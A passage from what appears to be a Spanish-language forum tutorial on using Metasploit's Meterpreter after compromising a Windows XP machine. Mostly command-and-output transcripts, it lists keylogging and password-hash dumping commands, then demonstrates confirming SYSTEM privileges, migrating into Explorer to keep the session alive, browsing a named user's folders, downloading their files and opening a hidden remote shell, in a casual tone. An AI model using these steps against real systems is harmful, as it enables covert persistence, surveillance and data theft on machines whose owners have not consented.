    Muestra el usuario en el que estamos actualmente
    Termina un proceso
    Muestra los procesos en ejecucion
    Reinicia el equipo remoto
    Modifica e interactua con el registro remoto
    Nos lanza a una consola en el equipo remoto
    Apaga el equipo remoto
    Nos muestra informacion sobre el equipo remoto
    Muestra las pulsaciones de teclas grabadas
    Empieza a capturar pulsaciones de teclas
    Detiene la captura de pulsaciones de teclas
    Muestra el contenido de la SAM (Contiene los usuarios y passwords encriptadas)
    Despues de haber visto la descripcion de algunos de los comandos disponibles en Meterpreter, vamos a hacer uso de unos cuantos, los demas tendran que verlos por ustedes mismos

    Una vez hemos logrado explotar el sistema, seria bueno saber con que usuario estamos trabajando:
    Código:
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter >

    Jeje, como vemos tenemos todos los permisos sobre el sistema sin ninguna limitacion. Ahora lo que tenemo que hacer es migrar a otro proceso despues de haber hecho la intrusion para asegurar que nuestra conexion no se termine si el proceso (aplicacion) que hemos explotado se cierra, pero antes veamos en el proceso que estamos actualmente:

    Código:
    meterpreter > getpid #Aqui obtenemos el PID en el que estamos
    Current pid: 1076 #Despues de la explotacion, Meterpreter se metio en este proceso
    meterpreter > ps

    Process list
    ============

    PID Name Path
    --- ---- ----
    580 smss.exe \SystemRoot\System32\smss.exe
    644 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
    676 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
    720 services.exe C:\WINDOWS\system32\services.exe
    732 lsass.exe C:\WINDOWS\system32\lsass.exe
    912 svchost.exe C:\WINDOWS\system32\svchost.exe
    980 svchost.exe C:\WINDOWS\system32\svchost.exe
    1076 svchost.exe C:\WINDOWS\System32\svchost.exe
    1124 svchost.exe C:\WINDOWS\system32\svchost.exe
    1232 svchost.exe C:\WINDOWS\system32\svchost.exe
    1380 alg.exe C:\WINDOWS\System32\alg.exe
    1492 Explorer.EXE C:\WINDOWS\Explorer.EXE
    1656 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
    1832 VBoxTray.exe C:\WINDOWS\system32\VBoxTray.exe
    1848 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
    2032 WVSScheduler.exe C:\Archivos de programa\Acunetix\Web Vulnerability Scanner 6\WVSScheduler.exe

    meterpreter >

    Lo que tenemos que hacer es simplemente pasarle al comando migrate el PID al que queremos migrar. Lo hacemos asi:

    Código:
    meterpreter > migrate 1492
    [*] Migrating to 1492...
    [*] Migration completed successfully.
    meterpreter > getpid
    Current pid: 1492
    meterpreter >

    Y en este proceso (Explorer) creo que podriamos mantenernos estables para hacer nuestro trabajo xD

    Ahora veamos un poco como desplazarnos por el sistema de archivos del equipo remoto:

    Código:
    meterpreter > pwd
    C:\WINDOWS\system32
    meterpreter > cd c:\
    meterpreter > pwd
    c:\
    meterpreter > ls

    Listing: c:\
    ============

    Mode Size Type Last modified Name
    ---- ---- ---- ------------- ----
    100555/r-xr-xr-x 115578 fil 2009-09-07 15:08:08 -0600 3c.exe
    100777/rwxrwxrwx 0 fil 2009-06-19 14:45:31 -0600 AUTOEXEC.BAT
    40777/rwxrwxrwx 0 dir 2009-11-23 14:16:55 -0600 Archivos de programa
    100444/r--r--r-- 4952 fil 2001-08-24 09:00:00 -0600 Bootfont.bin
    100666/rw-rw-rw- 0 fil 2009-06-19 14:45:31 -0600 CONFIG.SYS
    40777/rwxrwxrwx 0 dir 2009-06-19 15:37:30 -0600 Documents and Settings
    100444/r--r--r-- 0 fil 2009-06-19 14:45:31 -0600 IO.SYS
    40777/rwxrwxrwx 0 dir 2009-09-22 14:41:37 -0600 Inetpub
    100444/r--r--r-- 0 fil 2009-06-19 14:45:31 -0600 MSDOS.SYS
    40555/r-xr-xr-x 0 dir 2009-06-20 01:22:24 -0600 MSOCache
    100555/r-xr-xr-x 47564 fil 2004-08-03 13:38:34 -0600 NTDETECT.COM
    40777/rwxrwxrwx 0 dir 2009-06-19 14:59:32 -0600 PFiles
    40777/rwxrwxrwx 0 dir 2009-06-19 15:05:15 -0600 System Volume Information
    40777/rwxrwxrwx 0 dir 2009-09-22 14:46:04 -0600 WINDOWS
    100666/rw-rw-rw- 2565 fil 2009-06-20 01:01:58 -0600 all
    100444/r--r--r-- 51 fil 2009-12-13 15:28:09 -0600 autorun.inf
    100666/rw-rw-rw- 211 fil 2009-06-19 14:39:45 -0600 boot.ini
    100555/r-xr-xr-x 113233 fil 2009-08-26 04:22:00 -0600 hx.exe
    100555/r-xr-xr-x 113455 fil 2009-09-01 13:23:59 -0600 i0yva6.exe
    100555/r-xr-xr-x 112442 fil 2009-08-31 10:55:28 -0600 mt2.exe
    100444/r--r--r-- 250640 fil 2004-08-03 13:59:42 -0600 ntldr
    100666/rw-rw-rw- 402653184 fil 2009-12-13 08:17:25 -0600 pagefile.sys

    meterpreter >

    Como vemos, la navegacion es muy simple, practicamente es lo mismo que una consola normal.

    Ahora ingresemos a la carpeta “Documents and Settings” para ver que usuarios podemos encontrar en el equipo remoto:

    Código:
    meterpreter > cd "Documents and Settings"
    meterpreter > ls

    Listing: c:\Documents and Settings
    ==================================

    Mode Size Type Last modified Name
    ---- ---- ---- ------------- ----
    40777/rwxrwxrwx 0 dir 2009-06-19 15:37:30 -0600 .
    40777/rwxrwxrwx 0 dir 1979-12-31 17:00:00 -0600 ..
    40777/rwxrwxrwx 0 dir 2009-06-19 14:48:48 -0600 Administrador
    40777/rwxrwxrwx 0 dir 2009-06-19 14:43:23 -0600 All Users
    40777/rwxrwxrwx 0 dir 2009-06-19 14:45:55 -0600 Default User
    40777/rwxrwxrwx 0 dir 2009-06-19 15:05:10 -0600 LocalService
    40777/rwxrwxrwx 0 dir 2009-06-19 14:47:12 -0600 NetworkService
    40777/rwxrwxrwx 0 dir 2009-07-01 13:11:33 -0600 Ronny Josue

    meterpreter >

    Y asi, de esta forma podemos navegar por todo el sistema de archivos del equipo remoto. Ahora veamos como podriamos descargar un archivo:

    Código:
    meterpreter > pwd
    C:\Documents and Settings\Ronny Josue\Mis documentos\Mis archivos recibidos\Install\AdobeReader
    meterpreter > ls

    Listing: C:\Documents and Settings\Ronny Josue\Mis documentos\Mis archivos recibidos\Install\AdobeReader
    ========================================================================================================

    Mode Size Type Last modified Name
    ---- ---- ---- ------------- ----
    40777/rwxrwxrwx 0 dir 2009-11-23 14:16:00 -0600 .
    40777/rwxrwxrwx 0 dir 2009-11-23 14:16:00 -0600 ..
    100777/rwxrwxrwx 16661154 fil 2007-06-12 19:04:20 -0600 AR81Lite_ES.exe

    meterpreter > lpwd
    /root
    meterpreter > download AR81Lite_ES.exe
    [*] downloading: AR81Lite_ES.exe -> AR81Lite_ES.exe
    [*] downloaded : AR81Lite_ES.exe -> AR81Lite_ES.exe
    meterpreter >

    Y asi de facil descargamos archivos del equipo remoto al local, el mismo procedimiento se sigue para subir archivos, solo hay que tomar en cuenta el directorio en el que estamos y el directorio al que subiriamos el archivo.

    Hasta este punto ya conocen un poquito el manejo de algunos comandos, por si quieren ver alguna descripcion de un comando especifico, pueden poner comando -h en donde “comando” es uno de los comandos dispobles en Meterpreter, para ver cuales estan disponibles utilices el comando Help o ?.

    Ahora veamos como podriamos interacturar con una shell por si eso es lo que nos interesa:

    Código:
    meterpreter > cd \
    meterpreter > shell
    Process 1104 created.
    Channel 4 created.
    Microsoft Windows XP [Versi�n 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\>

    Como vemos, el comando shell nos invoca una shell de windows abrindose en el directorio en donde la invoquemos. Tambien lo podriamos hacer asi:

    Código:
    meterpreter > execute -i -H -f cmd.exe
    Process 1396 created.
    Channel 5 created.
    Microsoft Windows XP [Versi�n 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\>

    En donde:
    -i: Interactua con la aplicacin a ejecutar
    -H: Ejecuta el comando en modo oculto
    -f: La aplicacion a ejecutar

    Para volver a Meterpreter solo escribimos el comando exit.

      Fecha y hora actual: Miér Dic 13, 2017 7:07 am